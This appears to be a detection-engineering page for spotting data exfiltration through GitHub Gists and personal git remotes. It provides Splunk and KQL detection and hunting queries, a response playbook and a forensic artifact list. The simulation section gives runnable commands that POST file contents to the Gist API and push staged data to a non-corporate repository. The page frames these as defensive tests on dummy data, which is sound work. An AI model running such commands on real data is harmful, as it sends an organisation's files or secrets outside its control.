Detect Data Exfiltration via GitHub Gists and Private Code Repositories in Splunk
Adversaries and malicious insiders increasingly use code-hosting platforms (GitHub, GitLab, Bitbucket) as covert exfiltration channels because traffic to these domains is rarely blocked by web proxies and blends with routine developer activity. Two distinct abuse patterns are observed: (1) anonymous or throwaway-account Gist/paste creation used as a low-friction dead drop for small stolen artifacts (credentials, config files, session tokens) — documented in Turla dead-drop resolver infrastructure and multiple commodity loader families that stage stolen data via the GitHub Gist API before onward retrieval; and (2) bulk exfiltration via `git push` or GitHub API PUT/POST calls to a personal or attacker-controlled repository, seen in APT41 intrusions abusing developer tooling and in Lazarus Group operations staging stolen source code and credentials on GitHub/GitLab ahead of retrieval. The same channel is a leading insider-threat vector: departing employees push proprietary source code or customer data to a personal GitHub account under the cover of routine commits. Detection must distinguish these from the overwhelming volume of legitimate CI/CD and developer git traffic, so the strongest signals are (a) git remotes that do not match the organisation's registered GitHub/GitLab organisation, (b) anonymous Gist creation (no owning account, effectively unlisted/unattributable), and (c) API calls using PUT/POST verbs against content endpoints from processes other than the organisation's recognised CI/CD runners.
MITRE ATT&CK
- Tactic
- Exfiltration
SPL Detection Query
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
(
(Image="*\\git.exe" AND CommandLine="*push*" AND (CommandLine="*github.com*" OR CommandLine="*gitlab.com*" OR CommandLine="*bitbucket.org*") AND NOT CommandLine="*<YOUR_GITHUB_ORG>*")
OR ((Image="*\\curl.exe" OR Image="*\\powershell.exe" OR Image="*\\pwsh.exe" OR Image="*\\python.exe")
AND CommandLine="*api.github.com/gists*"
AND (CommandLine="*POST*" OR CommandLine="*PUT*" OR CommandLine="*Invoke-RestMethod*" OR CommandLine="*Invoke-WebRequest*"))
OR ((Image="*\\curl.exe" OR Image="*\\powershell.exe" OR Image="*\\pwsh.exe" OR Image="*\\python.exe")
AND (CommandLine="*api.github.com*" OR CommandLine="*api.gitlab.com*" OR CommandLine="*api.bitbucket.org*")
AND (CommandLine="*/contents/*" OR CommandLine="*/repos/*")
AND (CommandLine="*PUT*" OR CommandLine="*POST*"))
)
| eval Signal=case(
match(CommandLine, "(?i)push"), "GitPushNonCorpRemote",
match(CommandLine, "(?i)gists"), "AnonGistCreate",
true(), "ContentsApiUpload"
)
| stats count AS Events, values(CommandLine) AS Commands BY host, User, Image, Signal
| sort - Events SPL detection over Sysmon process creation for the same three signals as the KQL query: git push to a non-corporate remote, anonymous Gist API creation via scripting engines, and direct Contents/Repos API uploads. Requires the `<YOUR_GITHUB_ORG>` placeholder to be replaced with the deployment's actual GitHub/GitLab organisation name during onboarding.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Legitimate personal-fork pushes by developers contributing to open-source projects
- DevRel/security research accounts publishing sanctioned public Gists
Other platforms for THREAT-CodeRepo-GistExfil
Testing Methodology
Validate this detection against 2 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Exfiltration via Anonymous GitHub Gist
Expected signal: Sysmon Event ID 1: curl.exe process creation with command line referencing api.github.com/gists and a POST body.
- Test 2Simulate Exfiltration via Git Push to Non-Corporate Remote
Expected signal: Process creation events for git with 'push' in the command line and a remote URL not matching the corporate org.
Response Playbook
Triage
- Identify the account and host that generated the alert, and pull the full command line — the target remote URL or Gist/repo path tells you exactly where data was sent.
- Determine ownership of the destination: is the GitHub/GitLab account a known corporate service account, an employee's personal account, or an unknown/attacker-controlled account? Check the account's creation date and public activity if the repository is public.
- If a Gist was created, use the GitHub API (or the URL if captured) to review the Gist content before it is deleted or made unavailable — Gists can be deleted by the owner, so act quickly.
- Cross-reference the source host with recent file access/collection events (e.g., T1005 Data from Local System) to establish what was staged before the push or upload.
- For suspected insider activity, check whether the account is associated with an employee under HR review, in a notice period, or recently denied access elsewhere — correlate with HR/IT offboarding records where available.
Containment
- If the destination account is external/unknown, request takedown or content removal via the platform's abuse/DMCA process (GitHub Trust & Safety, GitLab abuse contact) and preserve evidence first.
- Revoke any personal access tokens (PATs) or OAuth app tokens used to authenticate the push/API call — rotate credentials if a service account token was reused inappropriately.
- Isolate the source host via EDR if exfiltration is confirmed and ongoing, particularly if paired with other collection or credential-access indicators.
- For insider cases, coordinate with HR/Legal before taking action against the employee's account — this is an HR-led investigation, not purely technical containment.
- Block egress to the specific repository/Gist URL at the proxy while the investigation is ongoing if the destination is clearly malicious.
Evidence Collection
- Full process command line for the git push, curl, or scripting-engine invocation, including the target remote/API URL
- GitHub/GitLab/Bitbucket audit log entries (if available via the organisation's enterprise audit log API) showing push events, API token usage, and IP addresses
- Local git configuration (.git/config) and any cached credentials (Git Credential Manager, .netrc) showing which accounts were configured on the host
- Proxy/web gateway logs confirming the destination domain, timestamp, and bytes transferred
- File access history on the source host in the hours preceding the push, to scope what data may have been included
Escalation Criteria
- !Confirmed push or API upload to an account with no legitimate business relationship to the organisation
- !Sensitive data confirmed in the pushed content (source code containing secrets, customer data, HR/financial records)
- !Activity originates from a departing or recently terminated employee's account or device
- !Evidence of prior credential theft or unusual authentication preceding the exfiltration event (suggesting external compromise rather than insider action)
Investigation Guide
Related Techniques
Forensic Artifacts
- >
.git/config on the source host: shows configured remotes and any embedded credentials in the remote URL - >
Git Credential Manager cache or .netrc/.git-credentials file: reveals which GitHub/GitLab accounts were authenticated on the host - >
Browser history / cached OAuth tokens for github.com or gitlab.com around the time of the event - >
PowerShell/console history (ConsoleHost_history.txt) if PowerShell was used to call the Gist or Contents API directly - >
Platform-side audit log (GitHub Enterprise/GitLab audit events) showing the push, API call, and originating IP address
Tuning Guidance
The single highest-value tuning step is maintaining an accurate allowlist of the organisation's registered GitHub/GitLab/Bitbucket org or group names and known CI/CD runner hostname patterns — without it, this detection will fire on every legitimate developer push. Once that allowlist is in place, treat any push or API call to a namespace outside it as requiring triage, since legitimate business reasons for this are comparatively rare (open-source contribution, approved partner repos) and can be documented as standing exceptions. Anonymous Gist creation has almost no legitimate high-volume use case in most SMB environments and can be tuned to a low-volume, high-priority alert.
Hunting Queries
Baseline all `git push` activity across the environment over 30 days by destination host, so a new or rarely-seen destination (a personal account domain path, or a first-time-seen repository namespace) stands out against normal developer push patterns to the corporate org.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "git.exe"
| where ProcessCommandLine has "push"
| extend RemoteHost = extract(@"(github\.com|gitlab\.com|bitbucket\.org)", 1, ProcessCommandLine)
| where isnotempty(RemoteHost)
| summarize PushCount=count(), Accounts=make_set(AccountName), Hosts=make_set(DeviceName) by RemoteHost, bin(Timestamp, 1d)
| sort by PushCount desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*\\git.exe" CommandLine="*push*"
| rex field=CommandLine "(?<RemoteHost>github\.com|gitlab\.com|bitbucket\.org)"
| stats count AS PushCount, values(User) AS Accounts, dc(host) AS HostCount BY RemoteHost, _time span=1d
| sort - PushCount Atomic Red Team Tests
Uses curl to POST a test file's contents to the GitHub Gist API as an anonymous/unauthenticated gist, simulating a dead-drop exfiltration technique. Use only non-sensitive dummy data and a disposable token/account.
Command
echo 'test exfil data' > C:\Temp\exfil_test.txt && curl -X POST https://api.github.com/gists -H "Content-Type: application/json" -d "{\"public\":false,\"files\":{\"exfil_test.txt\":{\"content\":\"test exfil data\"}}}" Cleanup
Remove-Item C:\Temp\exfil_test.txt -Force -ErrorAction SilentlyContinue Expected Telemetry
Sysmon Event ID 1: curl.exe process creation with command line referencing api.github.com/gists and a POST body.
Expected Detection
Alert fires on the AnonGistCreate signal, flagging the curl invocation targeting the Gist API.
Initialises a local git repository containing dummy data and pushes it to a personal/non-corporate remote, simulating exfiltration of staged files via git.
Command
mkdir /tmp/exfil_test && cd /tmp/exfil_test && git init && echo 'dummy data' > data.txt && git add data.txt && git commit -m test && git remote add origin https://github.com/test-personal-account/exfil-test.git && git push origin main Cleanup
rm -rf /tmp/exfil_test Expected Telemetry
Process creation events for git with 'push' in the command line and a remote URL not matching the corporate org.
Expected Detection
Alert fires on the GitPushNonCorpRemote signal.